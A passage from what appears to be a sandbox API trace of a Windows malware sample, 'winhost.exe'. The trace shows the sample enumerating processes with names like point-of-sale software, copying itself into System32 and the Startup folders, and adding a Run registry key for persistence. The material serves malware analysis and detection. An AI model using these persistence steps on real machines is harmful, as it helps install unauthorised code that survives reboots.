szExeFile="isspos.exe")) returned 1 [0054.411] lstrlenW (lpString="isspos.exe") returned 10 [0054.411] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0054.418] lstrlenW (lpString="mxslipstream.exe") returned 16 [0054.418] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0054.420] lstrlenW (lpString="omnipos.exe") returned 11 [0054.420] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0054.422] lstrlenW (lpString="spcwin.exe") returned 10 [0054.422] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb24, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0054.424] lstrlenW (lpString="spgagentservice.exe") returned 19 [0054.424] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0054.426] lstrlenW (lpString="utg2.exe") returned 8 [0054.426] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="amsterdam.exe")) returned 1 [0054.428] lstrlenW (lpString="amsterdam.exe") returned 13 [0054.428] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="targetannounce.exe")) returned 1 [0054.430] lstrlenW (lpString="targetannounce.exe") returned 18 [0054.430] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="managed-davis.exe")) returned 1 [0054.432] lstrlenW (lpString="managed-davis.exe") returned 17 [0054.432] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb74, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="discretion_revenue.exe")) returned 1 [0054.434] lstrlenW (lpString="discretion_revenue.exe") returned 22 [0054.434] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="lawyer_canada_wma.exe")) returned 1 [0054.436] lstrlenW (lpString="lawyer_canada_wma.exe") returned 21 [0054.436] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0054.437] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0054.437] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbd8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0054.439] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0054.439] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0054.440] lstrlenW (lpString="dllhost.exe") returned 11 [0054.440] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb80, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0054.442] lstrlenW (lpString="dllhost.exe") returned 11 [0054.442] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xac0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="winhost.exe")) returned 1 [0054.444] lstrlenW (lpString="winhost.exe") returned 11 [0054.444] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xac0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="winhost.exe")) returned 0 [0054.445] CloseHandle (hObject=0xe0) returned 1 [0054.445] HeapFree (in: hHeap=0x4c0000, dwFlags=0x0, lpMem=0x4f5270 | out: hHeap=0x4c0000) returned 1 [0054.445] HeapFree (in: hHeap=0x4c0000, dwFlags=0x0, lpMem=0x4f52b8 | out: hHeap=0x4c0000) returned 1 [0054.445] HeapFree (in: hHeap=0x4c0000, dwFlags=0x0, lpMem=0x4f5300 | out: hHeap=0x4c0000) returned 1 [0054.445] HeapFree (in: hHeap=0x4c0000, dwFlags=0x0, lpMem=0x4f5320 | out: hHeap=0x4c0000) returned 1 [0054.445] HeapFree (in: hHeap=0x4c0000, dwFlags=0x0, lpMem=0x4f5368 | out: hHeap=0x4c0000) returned 1 [0054.445] HeapFree (in: hHeap=0x4c0000, dwFlags=0x0, lpMem=0x4f4a08 | out: hHeap=0x4c0000) returned 1 [0054.445] HeapFree (in: hHeap=0x4c0000, dwFlags=0x0, lpMem=0x4d4720 | out: hHeap=0x4c0000) returned 1 [0054.445] HeapFree (in: hHeap=0x4c0000, dwFlags=0x0, lpMem=0x4d4758 | out: hHeap=0x4c0000) returned 1 [0054.445] HeapFree (in: hHeap=0x4c0000, dwFlags=0x0, lpMem=0x4d4350 | out: hHeap=0x4c0000) returned 1 [0054.445] HeapFree (in: hHeap=0x4c0000, dwFlags=0x0, lpMem=0x4d4378 | out: hHeap=0x4c0000) returned 1 [0054.446] HeapFree (in: hHeap=0x4c0000, dwFlags=0x0, lpMem=0x4d47a0 | out: hHeap=0x4c0000) returned 1 [0054.446] HeapFree (in: hHeap=0x4c0000, dwFlags=0x0, lpMem=0x4d43a0 | out: hHeap=0x4c0000) returned 1 [0054.446] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xfffe) returned 0x4fb598 [0054.447] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xfffe) returned 0x50b5a0 [0054.448] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0x10) returned 0x4f4a08 [0054.448] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x0, Ptr=0x4f4a08, Size=0x20) returned 0x4d43a0 [0054.448] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x0, Ptr=0x4d43a0, Size=0x40) returned 0x4f69b0 [0054.449] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0x10) returned 0x4f4a08 [0054.449] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x0, Ptr=0x4f4a08, Size=0x20) returned 0x4d43a0 [0054.449] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0x10) returned 0x4f4a08 [0054.449] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x0, Ptr=0x4f4a08, Size=0x20) returned 0x4d4378 [0054.449] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0x10) returned 0x4f4a08 [0054.449] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x0, Ptr=0x4f4a08, Size=0x20) returned 0x4d4350 [0054.449] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x0, Ptr=0x4d4350, Size=0x40) returned 0x4f69f8 [0054.449] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x50b5a0, nSize=0x7fff | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\winhost.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\winhost.exe")) returned 0x31 [0054.449] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xfffe) returned 0x51b5a8 [0054.450] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xfffe) returned 0x52b5b0 [0054.451] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0x10) returned 0x4f4a08 [0054.451] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x0, Ptr=0x4f4a08, Size=0x20) returned 0x4d4350 [0054.451] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x0, Ptr=0x4d4350, Size=0x40) returned 0x4f6a40 [0054.451] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x0, Ptr=0x4f6a40, Size=0x80) returned 0x4f5270 [0054.451] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x0, Ptr=0x4f5270, Size=0x100) returned 0x4f7bb8 [0054.451] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0054.451] HeapFree (in: hHeap=0x4c0000, dwFlags=0x0, lpMem=0x4f7bb8 | out: hHeap=0x4c0000) returned 1 [0054.451] ExpandEnvironmentStringsW (in: lpSrc="%windir%\\System32\\winhost.exe", lpDst=0x51b5a8, nSize=0x7fff | out: lpDst="C:\\Windows\\System32\\winhost.exe") returned 0x20 [0054.451] HeapFree (in: hHeap=0x4c0000, dwFlags=0x0, lpMem=0x52b5b0 | out: hHeap=0x4c0000) returned 1 [0054.451] HeapFree (in: hHeap=0x4c0000, dwFlags=0x0, lpMem=0x51b5a8 | out: hHeap=0x4c0000) returned 1 [0054.451] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0x100000) returned 0x2100020 [0054.452] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0x10) returned 0x4f4a08 [0054.452] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x0, Ptr=0x4f4a08, Size=0x20) returned 0x4d4350 [0054.452] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0x10) returned 0x4f4a08 [0054.452] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x0, Ptr=0x4f4a08, Size=0x20) returned 0x4f5938 [0054.452] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76e10000 [0054.452] GetProcAddress (hModule=0x76e10000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76e3d650 [0054.452] Wow64DisableWow64FsRedirection (in: OldValue=0x18fd9c | out: OldValue=0x18fd9c*=0x0) returned 1 [0054.452] lstrlenW (lpString="kernel32.dll") returned 12 [0054.452] HeapFree (in: hHeap=0x4c0000, dwFlags=0x0, lpMem=0x4d4350 | out: hHeap=0x4c0000) returned 1 [0054.452] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0054.453] HeapFree (in: hHeap=0x4c0000, dwFlags=0x0, lpMem=0x4f5938 | out: hHeap=0x4c0000) returned 1 [0054.453] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\winhost.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\winhost.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xe0 [0054.453] CreateFileW (lpFileName="C:\\Windows\\System32\\winhost.exe" (normalized: "c:\\windows\\system32\\winhost.exe"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xe4 [0054.458] ReadFile (in: hFile=0xe0, lpBuffer=0x2100020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x18fd98, lpOverlapped=0x0 | out: lpBuffer=0x2100020*, lpNumberOfBytesRead=0x18fd98*=0x17200, lpOverlapped=0x0) returned 1 [0054.528] WriteFile (in: hFile=0xe4, lpBuffer=0x2100020*, nNumberOfBytesToWrite=0x17200, lpNumberOfBytesWritten=0x18fd98, lpOverlapped=0x0 | out: lpBuffer=0x2100020*, lpNumberOfBytesWritten=0x18fd98*=0x17200, lpOverlapped=0x0) returned 1 [0054.536] ReadFile (in: hFile=0xe0, lpBuffer=0x2100020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x18fd98, lpOverlapped=0x0 | out: lpBuffer=0x2100020*, lpNumberOfBytesRead=0x18fd98*=0x0, lpOverlapped=0x0) returned 1 [0054.536] CloseHandle (hObject=0xe4) returned 1 [0054.543] CloseHandle (hObject=0xe0) returned 1 [0054.543] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0x10) returned 0x4f4a08 [0054.543] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x0, Ptr=0x4f4a08, Size=0x20) returned 0x4f5938 [0054.543] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0x10) returned 0x4f4a08 [0054.543] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x0, Ptr=0x4f4a08, Size=0x20) returned 0x4f58e8 [0054.543] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76e10000 [0054.544] GetProcAddress (hModule=0x76e10000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76e3d650 [0054.544] Wow64DisableWow64FsRedirection (in: OldValue=0x18fd9c | out: OldValue=0x18fd9c*=0x1) returned 1 [0054.544] lstrlenW (lpString="kernel32.dll") returned 12 [0054.544] HeapFree (in: hHeap=0x4c0000, dwFlags=0x0, lpMem=0x4f58e8 | out: hHeap=0x4c0000) returned 1 [0054.544] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0054.544] HeapFree (in: hHeap=0x4c0000, dwFlags=0x0, lpMem=0x4f5938 | out: hHeap=0x4c0000) returned 1 [0054.544] HeapFree (in: hHeap=0x4c0000, dwFlags=0x0, lpMem=0x2100020 | out: hHeap=0x4c0000) returned 1 [0054.559] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0x10) returned 0x4f4a08 [0054.559] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x0, Ptr=0x4f4a08, Size=0x20) returned 0x4f5938 [0054.559] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x0, Ptr=0x4f5938, Size=0x40) returned 0x4f6a40 [0054.559] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x0, Ptr=0x4f6a40, Size=0x80) returned 0x51b5c0 [0054.559] lstrlenW (lpString="C:\\Windows\\System32\\winhost.exe") returned 31 [0054.559] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Run") returned 45 [0054.559] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0x5c) returned 0x4f5270 [0054.559] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Run", ulOptions=0x0, samDesired=0x20106, phkResult=0x18fd6c | out: phkResult=0x18fd6c*=0xe0) returned 0x0 [0054.560] RegSetValueExW (in: hKey=0xe0, lpValueName="winhost.exe", Reserved=0x0, dwType=0x1, lpData="C:\\Windows\\System32\\winhost.exe", cbData=0x3e | out: lpData="C:\\Windows\\System32\\winhost.exe") returned 0x0 [0054.563] RegCloseKey (hKey=0xe0) returned 0x0 [0054.563] HeapFree (in: hHeap=0x4c0000, dwFlags=0x0, lpMem=0x4f5270 | out: hHeap=0x4c0000) returned 1 [0054.563] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Run") returned 45 [0054.563] HeapFree (in: hHeap=0x4c0000, dwFlags=0x0, lpMem=0x51b5c0 | out: hHeap=0x4c0000) returned 1 [0054.563] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xfffe) returned 0x51d5a8 [0054.563] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xfffe) returned 0x52d5b0 [0054.564] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0x10) returned 0x4f4a08 [0054.564] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x0, Ptr=0x4f4a08, Size=0x20) returned 0x4f5938 [0054.564] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x0, Ptr=0x4f5938, Size=0x40) returned 0x4f6a40 [0054.564] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x0, Ptr=0x4f6a40, Size=0x80) returned 0x51b5c0 [0054.564] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x0, Ptr=0x51b5c0, Size=0x100) returned 0x4f7bb8 [0054.564] lstrlenW (lpString="") returned 0 [0054.564] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0054.564] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0x8c) returned 0x4f7cc0 [0054.564] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x18fd18 | out: phkResult=0x18fd18*=0xe0) returned 0x0 [0054.565] RegQueryValueExW (in: hKey=0xe0, lpValueName="Startup", lpReserved=0x0, lpType=0x18fd24, lpData=0x52d5b0, lpcbData=0x18fd50*=0x7fff | out: lpType=0x18fd24*=0x0, lpData=0x52d5b0*=0x53, lpcbData=0x18fd50*=0x7fff) returned 0x2 [0054.565] RegCloseKey (hKey=0xe0) returned 0x0 [0054.565] HeapFree (in: hHeap=0x4c0000, dwFlags=0x0, lpMem=0x4f7cc0 | out: hHeap=0x4c0000) returned 1 [0054.565] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0054.565] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0x8c) returned 0x4f7cc0 [0054.565] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x18fd18 | out: phkResult=0x18fd18*=0xe4) returned 0x0 [0054.566] RegQueryValueExW (in: hKey=0xe4, lpValueName="Startup", lpReserved=0x0, lpType=0x18fd24, lpData=0x52d5b0, lpcbData=0x18fd50*=0x7fff | out: lpType=0x18fd24*=0x2, lpData="%USERPROFILE%\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup", lpcbData=0x18fd50*=0x98) returned 0x0 [0054.566] RegCloseKey (hKey=0xe4) returned 0x0 [0054.566] HeapFree (in: hHeap=0x4c0000, dwFlags=0x0, lpMem=0x4f7cc0 | out: hHeap=0x4c0000) returned 1 [0054.567] lstrlenW (lpString="%USERPROFILE%\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup") returned 75 [0054.567] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0054.567] HeapFree (in: hHeap=0x4c0000, dwFlags=0x0, lpMem=0x4f7bb8 | out: hHeap=0x4c0000) returned 1 [0054.567] ExpandEnvironmentStringsW (in: lpSrc="%USERPROFILE%\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\winhost.exe", lpDst=0x51d5a8, nSize=0x7fff | out: lpDst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\winhost.exe") returned 0x68 [0054.567] HeapFree (in: hHeap=0x4c0000, dwFlags=0x0, lpMem=0x52d5b0 | out: hHeap=0x4c0000) returned 1 [0054.567] HeapFree (in: hHeap=0x4c0000, dwFlags=0x0, lpMem=0x51d5a8 | out: hHeap=0x4c0000) returned 1 [0054.567] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0x100000) returned 0x2100020 [0054.567] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0x10) returned 0x4f4a38 [0054.567] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x0, Ptr=0x4f4a38, Size=0x20) returned 0x4f5938 [0054.567] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0x10) returned 0x4f4a38 [0054.567] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x0, Ptr=0x4f4a38, Size=0x20) returned 0x4f58e8 [0054.568] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76e10000 [0054.568] GetProcAddress (hModule=0x76e10000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76e3d650 [0054.568] Wow64DisableWow64FsRedirection (in: OldValue=0x18fd9c | out: OldValue=0x18fd9c*=0x1) returned 1 [0054.568] lstrlenW (lpString="kernel32.dll") returned 12 [0054.568] HeapFree (in: hHeap=0x4c0000, dwFlags=0x0, lpMem=0x4f5938 | out: hHeap=0x4c0000) returned 1 [0054.568] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0054.568] HeapFree (in: hHeap=0x4c0000, dwFlags=0x0, lpMem=0x4f58e8 | out: hHeap=0x4c0000) returned 1 [0054.568] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\winhost.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\winhost.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xe4 [0054.568] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\winhost.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\startup\\winhost.exe"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xe8 [0054.572] ReadFile (in: hFile=0xe4, lpBuffer=0x2100020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x18fd98, lpOverlapped=0x0 | out: lpBuffer=0x2100020*, lpNumberOfBytesRead=0x18fd98*=0x17200, lpOverlapped=0x0) returned 1 [0054.613] WriteFile (in: hFile=0xe8, lpBuffer=0x2100020*, nNumberOfBytesToWrite=0x17200, lpNumberOfBytesWritten=0x18fd98, lpOverlapped=0x0 | out: lpBuffer=0x2100020*, lpNumberOfBytesWritten=0x18fd98*=0x17200, lpOverlapped=0x0) returned 1 [0054.638] ReadFile (in: hFile=0xe4, lpBuffer=0x2100020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x18fd98, lpOverlapped=0x0 | out: lpBuffer=0x2100020*, lpNumberOfBytesRead=0x18fd98*=0x0, lpOverlapped=0x0) returned 1 [0054.638] CloseHandle (hObject=0xe8) returned 1 [0054.640] CloseHandle (hObject=0xe4) returned 1 [0054.640] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0x10) returned 0x4f4a38 [0054.641] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x0, Ptr=0x4f4a38, Size=0x20) returned 0x4f58e8 [0054.641] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0x10) returned 0x4f4a38 [0054.641] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x0, Ptr=0x4f4a38, Size=0x20) returned 0x4f5938 [0054.641] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76e10000 [0054.641] GetProcAddress (hModule=0x76e10000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76e3d650 [0054.641] Wow64DisableWow64FsRedirection (in: OldValue=0x18fd9c | out: OldValue=0x18fd9c*=0x1) returned 1 [0054.641] lstrlenW (lpString="kernel32.dll") returned 12 [0054.641] HeapFree (in: hHeap=0x4c0000, dwFlags=0x0, lpMem=0x4f5938 | out: hHeap=0x4c0000) returned 1 [0054.641] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0054.641] HeapFree (in: hHeap=0x4c0000, dwFlags=0x0, lpMem=0x4f58e8 | out: hHeap=0x4c0000) returned 1 [0054.642] HeapFree (in: hHeap=0x4c0000, dwFlags=0x0, lpMem=0x2100020 | out: hHeap=0x4c0000) returned 1 [0054.659] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xfffe) returned 0x51d5a8 [0054.659] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xfffe) returned 0x52d5b0 [0054.659] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0x10) returned 0x4f4a38 [0054.659] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x0, Ptr=0x4f4a38, Size=0x20) returned 0x4f58e8 [0054.659] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x0, Ptr=0x4f58e8, Size=0x40) returned 0x4f6a40 [0054.659] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x0, Ptr=0x4f6a40, Size=0x80) returned 0x51b5c0 [0054.659] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x0, Ptr=0x51b5c0, Size=0x100) returned 0x4f7bb8 [0054.660] lstrlenW (lpString="") returned 0 [0054.660] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0054.660] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0x8c) returned 0x4f7cc0 [0054.660] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x18fd18 | out: phkResult=0x18fd18*=0xe4) returned 0x0 [0054.660] RegQueryValueExW (in: hKey=0xe4, lpValueName="Common Startup", lpReserved=0x0, lpType=0x18fd24, lpData=0x52d5b0, lpcbData=0x18fd50*=0x7fff | out: lpType=0x18fd24*=0x2, lpData="%ProgramData%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup", lpcbData=0x18fd50*=0x78) returned 0x0 [0054.660] RegCloseKey (hKey=0xe4) returned 0x0 [0054.660] HeapFree (in: hHeap=0x4c0000, dwFlags=0x0, lpMem=0x4f7cc0 | out: hHeap=0x4c0000) returned 1 [0054.661] lstrlenW (lpString="%ProgramData%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup") returned 59 [0054.661] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0054.661] HeapFree (in: hHeap=0x4c0000, dwFlags=0x0, lpMem=0x4f7bb8 | out: hHeap=0x4c0000) returned 1 [0054.661] ExpandEnvironmentStringsW (in: lpSrc="%ProgramData%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\winhost.exe", lpDst=0x51d5a8, nSize=0x7fff | out: lpDst="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\winhost.exe") returned 0x49 [0054.661] HeapFree (in: hHeap=0x4c0000, dwFlags=0x0, lpMem=0x52d5b0 | out: hHeap=0x4c0000) returned 1 [0054.661] HeapFree (in: hHeap=0x4c0000, dwFlags=0x0, lpMem=0x51d5a8 | out: hHeap=0x4c0000) returned 1 [0054.661] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0x100000) returned 0x2100020 [0054.661] RtlAllocateHeap (HeapHandle=0x4c0000, 